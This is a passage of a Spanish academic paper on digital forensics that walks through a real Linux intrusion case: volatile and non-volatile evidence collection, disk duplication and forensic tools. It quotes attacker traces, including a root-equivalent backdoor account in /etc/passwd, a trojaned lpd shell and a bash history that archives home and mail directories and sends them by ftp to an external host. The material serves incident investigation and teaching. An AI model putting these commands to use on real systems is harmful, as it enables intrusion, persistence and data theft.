bloques N-1Grupo debloques N

superblock

Descriptorde grupo

bitmap debloques

bitmap deinodos

Tabla deinodos Datos

Figura 2.9. Estructura de un File system UNIX típico.



El superbloque identifica el file system y contiene sus parámetros principales (bloques libres,

inodos libres, tamaños de bloques, etc.). Cada zona posee su propia copia del superbloque en forma

redundante. En algunos casos la redundancia puede ser útil para recuperar file system dañados.

Los atributos del grupo se encuentran en el Descriptor de grupo, y los Bitmaps de bloques

indican el estado de uso de cada uno de los bloques del grupo. El estado de cada uno de los inodos se

encuentra almacenado en el bitmap de inodos, que funciona del mismo modo que el bitmap de

bloques. La tabla de inodos referencia los nombres de archivos con los números de inodos y contiene

asimismo los inodos.

La estructura de grupos de bloques provee una gran robustez y confiabilidad pues las estructuras

de control del sistema están replicadas en cada grupo de bloques lo que permite recuperarse en forma

rápida si el superbloque se corrompe. Esta estructura también permite obtener una buena

performance pues al reducir la distancia entre la tabla de inodos y los bloques de datos es posible

reducir el movimiento del cabezal del disco en lecturas y escrituras.

3. Análisis de un caso real

Analizaremos uno de los casos reales presentados en el libro “Real Digital Forensics”, de Jones,

Bejtlich y Rose. Elegimos el caso “BRJ Software’s Intrusión” debido a que el sistema operativo de la

víctima es Linux, y como tal nos permite relacionar los ejemplos y métodos empleados en el libro

“Forensic Discovery”. Por otro lado, la disponibilidad de herramientas libres es mayor para

ambientes Unix, facilitando la práctica del análisis forense.

El ataque investigado se realizó contra un equipo Linux (IP: 102.60.21.3) utilizado por los

desarrolladores de la compañía para probar sus productos. La investigación se disparó al recibir el día

8 de septiembre de 2003 un reporte del usuario “richard”, indicando que alguien más estaba

conectado con ese usuario en el equipo. Al recibir el informe, se decide respaldar todo el tráfico de

red capturado en los últimos meses, recolectar la información volátil del equipo, recolectar la

información no volátil del equipo, y duplicar el disco.

3.1. Recolección de Información Volátil

La recolección de información forense en un sistema debe realizarse siguiendo el orden de

volatilidad (OOV), tal como se estableció al comienzo de este trabajo. Por tal motivo, comenzaremos

este análisis por la recolección de la información volátil. Por información volátil entendemos la

información que se perdería al apagar el equipo, tales como:

3.1.1. Fecha y hora del sistema

3.1.2. Conexiones activas, puertos abiertos

3.1.3. Procesos, y archivos y puertos a los que están accediendo

3.1.4. Tablas de ruteo

3.1.5. Módulos del kernel cargados en memoria

3.1.6. Filesystems montados

Para registrar la salida de todos los comandos ejecutados, transferiremos la salida de los mismos

del equipo investigado hacia el equipo de trabajo, utilizando la utilidad netcat. Para ello antes de la

ejecución de cada comando, en el equipo de trabajo debemos ejecutar:

nc –v –l –p 10000 > comando.txt

Este comando abre el puerto 10000 en el equipo de trabajo, y queda en modo Listen esperando

conexiones. A su vez, el modificador –v informa sobre el desarrollo de la conexión.

Luego, en el equipo investigado se debe ejecutar cada comando redirigiendo su salida al puerto

abierto en el equipo de trabajo:

comando | nc IP_equipo_de_trabajo 10000



De esta forma, la salida del comando será redirigida hacia el equipo de trabajo, almacenándose

en el archivo comando.txt. Una vez completado el comando debe interrumpirse el comando nc en el

equipo de trabajo. Hecho esto, es recomendable computar inmediatamente un hash MD5 o SHA-1

del archivo comando.txt, para eventualmente probar la inalterabilidad del mismo.

3.1.1. Fecha y hora del sistema

Utilizando el comando date es posible recolectar la fecha y hora del sistema, a fin de verificar la

misma, y tener un punto de referencia en el tiempo.

3.1.2. Conexiones activas y puertos abiertos.

Es fundamental determinar rápidamente las conexiones activas en el equipo investigado, ya que

pueden reveler importantes indicios sobre el ataque. Para ello debemos utilizar el comando:

netstat –an

El comando netstat muestra información sobre el estado, actividad y estadísticas de las

conexiones de red. El modificador –a muestra información sobre todas las conexiones y sockets

activos, o en estado Listen (es decir, servidores). El modificador –n se utiliza para evitar la

resolución inversa de las direcciones IP detectadas, por lo que se muestran en forma numérica.

Al ejecutar este comando se obtiene un largo listado de conexiones activas y en estado Listen,

siendo las más importantes las siguientes:

Proto Local Address Foreign Address State tcp 102.60.21.3:22 94.90.84.93:2094 ESTABLISHED tcp 102.60.21.3:3879 94.90.84.93:2090 ESTABLISHED tcp 102.60.21.3:515 94.90.84.93:1761 CLOSE tcp 102.60.21.3:2323 0.0.0.0:* LISTEN tcp 0.0.0.0:3879 0.0.0.0:* LISTEN

Tabla 3.1. Listado de conexiones.

Las tres direcciones remotas involucradas están fuera de la empresa, y no son conexiones

utilizadas habitualmente en el equipo investigado. La primer línea muestra una conexión desde esa IP

sospechosa hacia el puerto de ssh del equipo investigado. La segunda línea muestra una conexión al

puerto 3879 del equipo investigado. Finalmente, la tercer línea muestra una conexión al puerto 515

del equipo investigado. Al ser un puerto menor a 1024, es lo que se conoce como Well Known Port.

Los Well Known Port son puertos cuyo uso está estandarizado por la IANA (Internet Assigned

Numbers Authority), por lo que tienen asignadas una función específica. En el caso del puerto 515, el

mismo se corresponde con el servicio de impresión por red. Este puerto suele estar en modo Listen



con el proceso lpd escuchando, pero en este caso tuvo una conexión activa desde la IP sospechosa.

Esto lleva a pensar en alguna vulnerabilidad existente en dicho proceso y puerto.

Es fundamental en la ejecución de un análisis forense las consultas a organismos y entidades

relacionadas con la seguridad informática. En este caso una consulta permitió determinar que

precisamente la versión de lpd existente en el equipo investigado presentaba una vulnerabilidad tal

que permitía a un usuario remoto obtener control del sistema como superusuario.

Por otro lado, es sospechoso también que los puertos 2323 y 3879 se encuentran en estado

Listen, es decir, abiertos y esperando conexiones. Estos puertos no eran utilizados normalmente por

ningún proceso dentro de la empresa, por lo cual deben ser investigados.

3.1.3. Procesos, y archivos y puertos a los que están accediendo.

Para poder contar con más indicios para separar la operatoria normal dentro de la empresa de la

propia del ataque investigado, es necesario listar los procesos y los archivos y conexiones

correspondientes a los mismos. Para ello se utiliza el comando lsof, que lista los archivos y

conexiones abiertas de todos los procesos. De forma similar a netstat, utilizamos el modificador –n

para evitar la resolución inversa de las direcciones IP obtenidas.

La salida de este comando es particularmente extensa, por lo que es necesario buscar la

información pertinente dentro de la misma. Buscando directamente el puerto 3879 descubierto

anteriormente, encontramos la siguiente información:

Command PID User Type Node Name Sh 5077 root DIR 64186 /tmp/.kde Sh 5077 root IPv4 TCP 102.60.21.3:3879 -> 94.90.84.93:2090 (ESTABLISHED) Sh 5077 root IPv4 TCP 102.60.21.3:3879 -> 94.90.84.93:2090 (ESTABLISHED) Sh 5077 root CHR 29284 /dev/null Sh 5077 root IPv4 TCP 102.60.21.3:printer -> 94.90.84.93:1761 (CLOSED) Sh 5077 root IPv4 TCP *:3879 (LISTEN) Sh 5077 root IPv4 TCP 102.60.21.3:3879 -> 94.90.84.93:2090 (ESTABLISHED)

Tabla 3.2. Listado de conexiones y procesos vinculados.

El comando mostrado es sh, es decir, un shell de usuario, que permite ingresar comandos al

sistema operativo. Notamos en la cuarta línea que la salida de errores del mismo está redirigida hacia

/dev/null, de forma tal de que los mismos no se escriban en la consola del equipo, sino que se

desechen.

La primera línea muestra que el directorio de trabajo de este proceso es un directorio oculto

(.kde) dentro del directorio /tmp. Este comportamiento no es usual, ya que en general el directorio

de trabajo de un shell es el correspondiente al directorio home del usuario. Mucho más llamativo es

el hecho de que el directorio de trabajo sea oculto. En la segunda, tercera y séptima línea notamos



establecida la conexión que ya antes habíamos detectado con el comando netstat. En la quinta línea

vemos que el puerto printer tuvo una conexión activa con la IP sospechosa. Esto ya lo habíamos

detectado con el comando netstat, pero ahora pudimos establecer la asociación con el comando sh.

Esto no debiera ser así, ya que en este puerto las conexiones debieran realizarse con el proceso lpd,

como se mencionara anteriormente. Es decir, un usuario se conectó al puerto 515 del equipo

investigado, y estableció un shell donde ejecutar comandos en el mismo.

En la misma salida de lsof –n se obtuvo la siguiente información:

Command PID User Type Node Name Sh 5278 root DIR 4096 /tmp/.kde/brute/john-1.6/run

Tabla 3.3. Salida lsof -n.

Al observar esta línea vemos que el proceso 5278 se está ejecutando en el directorio

/tmp/.kde/brute/john-1.6/run. Esta información puede ser considerada como evidencia que el

usuario root está corriendo la versión 1.6 de un programa conocido como John The Ripper. Este

programa es un conocido cracker de claves por fuerza bruta. En este punto podemos estar bastante

seguros que un atacante desde la IP 94.90.84.93 esté usando este programa para obtener la clave de

algún usuario.

Finalmente, para listar todos los procesos activos en el equipo, usamos el comando ps –aux. Este

comando lista todos los procesos y los usuarios con los que se están ejecutando. Al correr este

comando no se observó ningún proceso particularmente sospechoso, sin siquiera poder observarse el

cracker de claves antes mencionado.

También podemos notar que no se observaron rastros del puerto TCP:1023 en la salida del

comando lsof. Estos dos indicios pueden llevar a pensar que el kernel del sistema operativo fue

modificado en tiempo de ejecución para ocultar convenientemente procesos y archivos

pertenecientes al atacante. Al duplicar posteriormente el disco del equipo investigado, se podrá

determinar esta suposición.

3.1.4. Tablas de ruteo

Utilizando el comando netstat –rn podemos obtener la tabla de ruteo activa del equipo

investigado. El atacante podría haber cambiado o editado la tabla de ruteo para dirigir el tráfico del

equipo investigado según su conveniencia.

Sin embargo, en este caso la tabla de ruteo no presenta ninguna alteración.



3.1.5. Módulos del kernel cargados en memoria

Utilizando el comando lsmod podemos ver los módulos actualmente cargados en el kernel.

Los módulos observados corresponden todos al sistema, sin observarse ninguno relacionado con

el accionar del atacante. Sin embargo, el atacante puede haber cargado un módulo para ocultar los

procesos y archivos antes mencionados, a la vez que ocultaría el mismo módulo.

3.1.6. Filesystems montados

Se puede utilizar el comando mount o df para ver los filesystems actualmente montados en el

equipo.

Al utilizar el comando df no se observó ninguna alteración, ni filesystems montados a través de

la red en el equipo investigado.

3.2. Recolección de Información No Volátil

La información no volátil puede luego recuperarse desde una copia forense del disco. Sin

embargo, se resuelve recolectar algo de esta información antes de apagar el equipo investigado. Esta

información incluye:

3.2.1. Versión del Sistema Operativo y nivel de parches

3.2.2. MAC times y hash del filesystem

3.2.3. Usuarios conectados actualmente, e históricos

3.2.4. Logs del sistema

3.2.5. Cuentas de usuario

3.2.6. Histórico de los usuarios

3.2.1. Versión del Sistema Operativo y nivel de parches

Para chequear la versión de sistema se utiliza el comando uname –a. De acuerdo a la salida del

mismo, la versión del kernel de este sistema es 2.2.16-22.

Por otro lado, el chequeo del nivel de parches de dependiente de la distribución de Linux o

versión de Unix utilizada. En este caso, por tratarse de la distribución Red Hat, debe utilizarse el

comando rpm –qa.



3.2.2. MAC times y hash del filesystem

Se utilize el commando find para recopilar los MAC times y otras informaciones de todos los

archivos del sistema:

find / -printf “%m;%Ax;%AT;%Tx;%TT;%Cx;%CT;%U;%G;%s ;%p\n”

El modificador printf se utiliza para seleccionar que datos mostrar. En este caso se elige mostrar,

en orden: permisos, última fecha de acceso, última hora de acceso, fecha de modificación, hora de

modificación, fecha de cambio, hora de cambio, usuario, grupo, tamaño, y ruta completa.

A partir de este comando, se obtuvo la siguiente información:

Permisos Fecha Acceso

Hora Acceso

Fecha Modificación

Hora Modificación

Fecha Cambio

Hora Cambio

Ruta Completa

755 9/08/03 13:37 8/14/00 15:23 8/23/03 7:51 /usr/sbin/lpd 644 9/08/03 16:43 9/08/03 14:58 9/08/03 14:58 /etc/passwd 600 9/08/03 16:36 9/08/03 14:58 9/08/03 14:58 /etc/shadow 444 9/08/03 15:49 7/16/02 20:30 9/08/03 15:15 /usr/lib/perl5/site_

perl/5.6.0/Net/Telnet.pm

755 9/08/03 16:22 9/08/03 16:05 9/08/03 16:05 /usr/sbin/lpd

Tabla 3.4. Listado de MACtimes.

A partir de esta información es posible determinar a partir de la fecha de cambio, que el atacante

instaló un módulo de Perl. Perl es un lenguaje de scripting y programación, por lo que es posible que

el módulo instalado fuera una dependencia de las utilidades que el atacante instaló en el equipo

investigado. También es posible determinar que los archivos /etc/passwd y /etc/shadow fueron

modificados en la misma fecha sospechosa.

Observamos dos veces el archivo /usr/sbin/lpd. Debemos notar que no está duplicado, sino que

la versión creada en la fecha sospechosa tiene por nombre “/usr/sbin/lpd “, es decir, cuenta con un

espacio al final.

Debemos notar que no hay rastros del directorio de trabajo antes determinado, /tmp/.kde. Esto es

otro indicio que un módulo fue cargado en el kernel en tiempo de ejecución, para ocultar el accionar

del atacante.

Por otro lado, se debe computar un hash de cada uno de los archivos del sistema, a fin de poder

probar su autenticidad posteriormente. Para ello, utilizamos el comando:

find / -type f –xdev –exec md5sum –b {} \;

Esto procesa todos los archivos del sistema, produciendo como salida el hash MD5 de cada uno.

Debiera actualmente utilizarse un método de hash más actualizado.



Puede utilizarse alguna base de datos de hash conocidos de archivos del sistema, a fin de

descartar los que no han sido modificados.

3.2.3. Usuarios conectados actualmente, e históricos

Para determinar los usuarios conectados, se utiliza el comando w, obteniendo la siguiente

información:

USER TTY FROM LOGIN WHAT root tty1 - 1:41 t_bash

curtis tty2 - 2:12 -bash lpd pts/2 94.90.84.93 3:00 -sh

Tabla 3.5. Usuarios conectados.

Notamos que el usuario lpd se encuentra conectado, y desde una IP desconocida para la empresa.

Este usuario no es un usuario normal del sistema, asi que podemos sospechar que el atacante está

conectado desde esa IP.

Por otro lado, el historial de conexiones de usuarios al equipo, puede obtenerse con el comando

last. A partir del mismo, se obtuvo la siguiente información:

USER TTY FROM DATE richard pts/1 102.60.21.3 Mon Sep 8 16:36 – 16:37 richard pts/0 10.60.21.97 Mon Sep 8 16:34 – 16:37 richard pts/0 102.60.21.3 Mon Sep 8 16:22 – 16:33 richard pts/0 102.60.21.97 Mon Sep 8 16:21 – 16:21 richard pts/3 102.60.21.97 Mon Sep 8 16:18 – 16:19 richard pts/0 102.60.21.3 Mon Sep 8 16:10 – 16:21

lpd pts/2 94.90.84.93 Mon Sep 8 15:00 – still logged in Reboot system boot Mon Sep 8 13:37

Tabla 3.6. Historial de conexions de usuarios al equipo.

Luego del reinicio del equipo, vemos una conexión del usuario lpd desde la IP que consideramos

sospechosa, sin que aún se hubiera desconectado. Por otro lado, vemos conexiones del usuario

richard desde una IP propia de la empresa, dentro de la actividad normal del mismo. Sin embargo,

también vemos conexiones del usuario richard desde el mismo equipo investigado. Esto puede ser un

indicio de la utilización de algún programa para redireccionar puertos, instalado por el atacante, tal

vez para evitar un firewall en el equipo.



Tanto los usuarios conectados, como el historial de conexiones de los mismos se pueden obtener

de los archivos /var/run/utmp y /var/run/wtmp respectivamente.

3.2.4. Logs del sistema

Los sistemas operativos UNIX cuentan con un demonio que registra todos los eventos del

sistema y sus programas, y los escribe en archivos de logs. De acuerdo a la configuración de este

demonio, en general los logs a revisar son messages, secure, maillog, cron, spooler, boot.log.

Todos estos archivos se encuentran en /var/log.

En el caso del equipo investigado, se observa una serie de eventos en el archivo messages en la

fecha sospechosa. A la hora 14:35, se pueden observar eventos que tienen caracteres sin sentido, y

datos binarios escritos directamente al log. Esto puede deberse a un ataque de desbordamiento de

buffer (buffer overflow), por lo que es muy posible que el atacante haya utilizado esta técnica para

atacar al servicio de lpd.

3.2.5. Cuentas de usuario

En el archivo /etc/passwd pueden verse las distintas cuentas de usuario del sistema.

Más allá de los usuarios normales de la empresa, y los propios del sistema, se observa el

siguiente:

lpd:x:0:0::/:/bin/sh

Esta cuenta de usuario no pudo ser reconocida por la empresa. Este usuario tiene un ID de 0, y

pertenece al grupo 0, por lo que tiene los mismos privilegios que el root. A su vez tiene permitido el

login al sistema, mediante el shell /bin/sh.

Este usuario fue seguramente agregado por el atacante, para poder conectarse al equipo con

privilegios de root.

3.2.6. Histórico de los usuarios

Los sistemas operativos UNIX en general registran todos los comandos, correctos o no,

ingresados por un usuario. Este listado se almacena en un archivo, en el directorio home del usuario.

En el caso de estar utilizando bash como shell, el archivo tiene el nombre .bash_history.

En el caso del equipo investigado, en el home del usuario lpd no se encontró registro alguno de

la historia de comandos ejecutadas por el atacante. Generalmente los atacantes suelen eliminar este

archivo, para evitar dejar rastros.



Sin embargo, en este caso se supone que el atacante utilizó el usuario richard para introducirse

en el equipo. Chequeando el arhivo .bash_history del usuario richard , encontramos los siguientes

comandos sospechosos:

Comando netstat –na | less

ps –aexww | grep datapipe ls –al

kill -31 5883 Ps –aexww | grep 5883

w “/usr/sbin/lpd “

“/usr/sbin/lpd “ /bin/bash ls –al exit

tar –cvzf /tmp/.kde/files.tar.gz /home /var/mail tar –cvzf /tmp/.kde/files.tar.gz /home /var/spool/mail

ftp 94.20.1.9 ping 94.20.1.9 ping 94.20.1.9 ftp 94.20.1.9

ls “/usr/sbin/lpd “ /bin/bash

w

Tabla 3.7. Historial de comandos del usuario richard .

Las líneas resaltadas indicant comandos que el usuario Richard no pudo reconocer. El primero

comando busca un proceso de nombre datapipe. Según se comentó, en los usuarios conectados al

equipo, aparecía Richard conectado desde el propio equipo investigado. Datapipe es un programa

utilizado para redireccionar puertos del equipo a otros puertos, con el objeto de evitar firewalls u

otras medidas de seguridad.

Luego el atacante envía la señal “31” a un proceso. Esta señal no está definida en Linux, y es

generalmete usada en distintos rootkits para el kernel. Es muy posible que el atacante haya

modificado el kernel con un rootkit para ocultar sus pasos.

El atacante luego ejecuta uno de los archivos que se había notado antes. Es muy posible que el

comando “/usr/sbin/lpd “ /bin/bash sea utilizado para lanzar un shell con permisos de root.

Finalmente, el atacante comprime y archiva los directorios /home y /var/spool/mail, y luego los

envía a una dirección remota. Este aspecto es el más importante de la investigación, ya que se pudo

determinar la existencia de una importante fuga de información de la empresa.



3.3. Duplicación Forense

Duplicación forense es el término utilizado para el procedimiento de realizar una copia de un

disco de un equipo investigado, hacia otro disco. Esto se hace con el objeto de poder trabajar sobre

una copia de los datos, y para poder replicar la investigación en caso de ser necesario.

Como ya es ha comentado, es necesario documentar todos los pasos involucrados desde el

apagado del equipo investigado, hasta la culminación de la copia realizada.

Existen diversas herramientas para realizar copias forenses de información. Analizaremos

brevemente las herramientas libres más conocidas.

3.3.1. DD

Esta es una herramienta libre, cuya funcionalidad básica es copiar bytes de un origen hacia un

destino. El programa dd está instalado por defecto en casi cualquier distribución de Linux y versión

de UNIX.

La utilización de esta herramienta es simple:

dd if=/dev/hdb of=archivo.dd conv=notrunc,noerror,sync

Las opciones utilizadas son:

• if=/dev/hdb : utilizada para indicar el archivo origin

• of=archive.dd : utilizada para indicar el archive destino

• conv=notrunc,noerror,sync : utilizada para no truncar la salidad en caso de error, no

detener la duplicación en caso de error, y rellenar con ceros la salida en caso de error,

respectivamente.

Puede especificarse además el tamaño de los bloques de datos a copiar, utilizando la opción bs.

En general se recomienda utilizar como salida de dd un archivo, y no otro dispositivo, para

poder disponer del mismo para copiarlo al medio más adecuado.

3.3.2. DD Rescue

Es una variación del comando dd, orientada a discos con fallas físicas, dado que puede utilizar

tamaños de bloque variables, y recorrer el disco tanto hacia delante como hacia atrás.

La sintaxis no es igual a la de dd:

dd_rescue /dev/hdb archivo.dd

Donde el primer parámetro indica el origin, y el segundo el destino.



3.3.3. DDFLDD

Esta herramienta agrega funcionalidad de autenticación al dd, al tener integrado una

implementación del algoritmo de hash MD5.

Se tiene la posibilidad de realizar hash de porciones de bloques del disco de origen, registrando

los mismos en un archivo. De esta forma, es posible validar grupo por grupo de bloques contra el

disco original.

La sintaxis es similar a la de dd, pero se agregan las opciones de hashwindows y hashlog. Estas

opciones permiten especificar el tamaño de los grupos de bytes utilizados para calcular cada hash, y

el archivo donde se guardarán los mismos, respectivamente.

3.4. Conclusiones

Es posible determinar que el atacante se conectó al equpo desde la dirección IP 94.90.84.93,

mientras que utilizó un segundo equipo con la dirección IP 94.20.1.9 como repositorio de archivos.

Para conectarse al equipo, el atacante utilizó una vulnerabilidad del servicio lpd. El método

utilizado fue el de desbordamiento de buffer, y ocurrió a las 2.35pm del día 8 de Septiembre de 2003.

Una vez obtenido este acceso, el atacante creó una cuenta de usuario llamada lpd, con permisos de

root en el equipo atacado.

Verificando en la duplicación forense del disco del equipo investigado, se pudo determinar que

el atacante utilizó el directorio /tmp/.kde como repositorio local para sus utilidades. Dentro de las

utilidades se encontró un conocido cracker de claves, utilizado para descubrir la clave del usuario

richard .

Para evitar que un firewall pudiera impedir la conexión del equipo atacado con el exterior, el

atacante utilizó el programa datapipe para redireccionar el puerto TCP 23 al puerto TCP 2323.

Es evidente que la recolección de información volátil debe hacerse lo antes posible, ya que en

caso de apagar el equipo esa información sería seguramente perdida. Sin embargo, no es necesario

recolectar información no volátil antes de apagar el equipo. La información no volátil puede ser

recuperada completamente a partir de una copia forense del disco del equipo investigado.

Realizar una copia forense del disco investigado es fundamental para la investigación. Esta copia

forense permite que otro investigador pueda replicar los pasos dados, y verificar la obtención de los

resultados mostrados. Esto es necesario en caso de una pericia judicial, ya que en caso contrario sería

seguramente invalidada. Por tal motivo es necesario recolectar la información no volátil a partir de

una copia forense de la información, y documentando todo y cada uno de los pasos dados.

Sin embargo, no todas las investigaciones forenses son de índole judicial. Dado que las

estadísticas apuntan que la mayoría de los ataques que recibe una empresa provienen o cuentan con



ayuda desde la propia planta de empleados, muchas veces el interés de la investigación pasa por

descubrir o tener indicios sobre el culpable, sin llegar a etapas judiciales. No es necesario entonces, si

la empresa no lo requiere, realizar una copia forense de la información a analizar, si bien es muy

conveniente contar con una.

4. Anexo

4.1. Fragmentos de Informes Periciales. Ejemplos.

a) Preservación de la integridad del material informático, a través de las técnicas mencionadas

oportunamenente (técnicas de hash):

Caso1: “... A tal efecto, se utilizaron técnicas informáticas para garantizar la preservación de la

evidencia electrónica, pudiendo a futuro verificarse la integridad del material probatorio por medio de

certificaciones digitales que se suministran para cada uno de los diskettes en cuestión, a saber:

Diskette1: 5F1CE0BF7738AB171D686E2A150CC593

Diskette2:9F3FB4171DF7F3B254CB93D4AABF6849

Diskette3: 36E53D636E3511C5ED3DC0C76B5233F8.

Dichas certificaciones son conocidas como valores Hash, resultando una cadena de caracteres y

números única para cada uno de los diskettes obtenida a través de un algoritmo estándar aprobado

internacionalmente conocido como MD5. ...”

b) Una descripción detallada de todas las fuentes de información utilizadas, así como también

de los pasos realizados durante la investigación:

Caso 2: “... Se realizó un resguardo de la información almacenada en la computadora marca

ACER, modelo Entra, Nro. de serie 012345*, a fin de cumplimentar lo solicitado en el punto 1) de

pericia. Para dar cumplimiento a lo solicitado en el punto 2) de la pericia, se realizaron los siguientes

procedimientos: 1-Análisis de datos a nivel físico, 2-Análisis de datos a nivel lógico, 3-Análisis

cronológico de datos ...”. "... Análisis de Datos a Nivel Físico: Se realizó una búsqueda de información

relevante sobre todos los sectores físicos del disco de las siguientes palabras clave: "XXX", "YYY",

"ZZZ"...”

*Nota: Podemos observar como el detalle de los componentes de la computadora no siempre

esta completo, siendo una posible causal de desestimación de la prueba. (por ejemplo, la falta de

marca, modelo y número de serie del disco rígido).



c) En caso de haber utilizado herramientas forenses, se deberá detallar el nombre y su versión:

Caso 3: “... En base a los fármacos indicados en el Informe Técnico Pericial Nro. 2 del Dr. XXX,

se practicó un análisis de datos sobre el disco rígido de la computadora con las siguientes palabras:

misoprostol, mifepristone, oxaprost y diofenac. Se especificó una búsqueda exhaustiva de las

cadenas de caracteres mencionadas con el software ReadIT – Versión 1.01, utilizado comúnmente

en pericias informáticas para análisis de datos. ...”

d) La contestación a cada uno de los puntos de pericia, debe indicar cualquier observación o

impedimento en la búsqueda de evidencia:

Caso 4: “...El análisis de datos a nivel lógico confirma la existencia de un enlace a un documento

titulado "DDD.doc.lnk", en la carpeta \WINDOWS\Recent. Esta carpeta del sistema operativo

almacena los enlaces de los últimos archivos accedidos por el usuario de la computadora. El enlace

referencia a un archivo localizado en la unidad de disco A:, lo cual indica que el documento fue

trabajado en disquette. ...”

Caso 5: “... Dado que se hace impracticable realizar una impresión indiscriminada de todos los

archivos localizados, se tomó una muestra de ellos, para localizar visualmente información relevante,

cuyos resultados son: un archivo (AAA.tmp) y dos visualizaciones mediante capturas de pantalla

(BBB.dbf y CCC.dbt) los cuales se adjuntan al presente informe...”.

4.2. Herramientas para el Análisis Forense.

En este apartado se presentan algunas herramientas usualmente utilizadas en las prácticas de

informática forense.

Para cada tarea que se necesite realizar existen herramientas open source (de libre distribución y

modificación) y también comerciales.

Nombre Descripción Open

Source / Comercial

Sistema Operativo Link

Enhanced_loopback Duplicado forense y utilización

como disco rígido. O.S. Linux

(Kernel NASA)

ftp://ftp.hq.nasa.gov/pub/ig/ccd/enhanced_l

oopback

Cononer´s Toolkit

No analiza los datos, solamente obtiene información relevante

para el análisis.

Incorpora un recuperador de ficheros borrados (lazarus) para cualquier Unix. Permite analizar

los procesos en ejecución.

O.S. Linux http://www.porcupine.org/forensics/tct.html#source_code



The Sleuth Kit Recuperación de archivos

borrados O.S. Linux –

Windows http://www.sleuthkit.org/autopsy/download.

php

Encase Copiado comprimido de discos

fuente

Búsqueda y análisis de múltiples partes de archivos adquiridos

Diferente capacidad de

almacenamiento

Varios campos de ordenamiento, incluyendo

estampillas de tiempo

Análisis compuesto del documento

Firmas de archivos,

identificación y análisis

Análisis electrónico del rastro de intervención

Soporte de múltiples sistemas de

archivo

Vista de archivos y otros datos en el espacio Unallocated

Integración de reportes

Visualizador integrado de

imágenes con galería

Comercial Windows http://www.guidancesoftware

.com/

Forensic Tool Kit

Permite principalmente analizar la información relevada de un

sistema.

Manejo de imágenes de File systems Windows (NTFS, FAT) y Linux (ext2, ext3) realizadas con Encase, Smart, Snapback,

Safeback y DD).

Análisis de archivos comprimidos (winzip, pkzip,

rar, gzip, tar).

Análisis de correo electrónico,

Identificación de archivos típicos del file system y programas, de evidencia,

hashsets, etc.

Generación de reportes, acceso y desencriptado de datos protegidos y de registros.

Comercial Windows - Linux

http://www.accessdata.com/



5. Bibliografía

5.1. Principal

Este trabajo fue realizado a partir de la bibliografía expuesta a continuación. Se

extrajeron fragmentos y se utilizaron esquemas, convenientemente citados.

• Forensic Discovery, Dan Farmer – Wietse Venema.

• El tratamiento de la Evidencia Digital, Leopoldo Sebastián M. Gomez.

• Real Digital Forensics, Jones – Bejtlich – Rose

5.2. Complementaria

• Evidencia Digital: contexto, situación e implicaciones nacionale, José Alejandro

Mosquera González - Andrés Felipe Certain Jaramillo - Jeimy J. Kano

• Introducción a la Informática Forense, Jeimy J. Kano

• http://www.delitosinformaticos.com/delitos/prueba.shtml

• http://www2.compendium.com.ar/juridico/leggieri.html

• http://www2.compendium.com.ar/juridico/peri2.html

• http://web.mit.edu/tytso/www/linux/ext2intro.html

• http://www.softpanorama.org/Internals/unix_system_calls.shtml

• http://ext2read.sourceforge.net/documentation/inside-ext23-file-system/

• http://www.securityfocus.com/infocus/1738

• Herramientas Open Source: http://www.opensourceforensics.org/tools/unix.html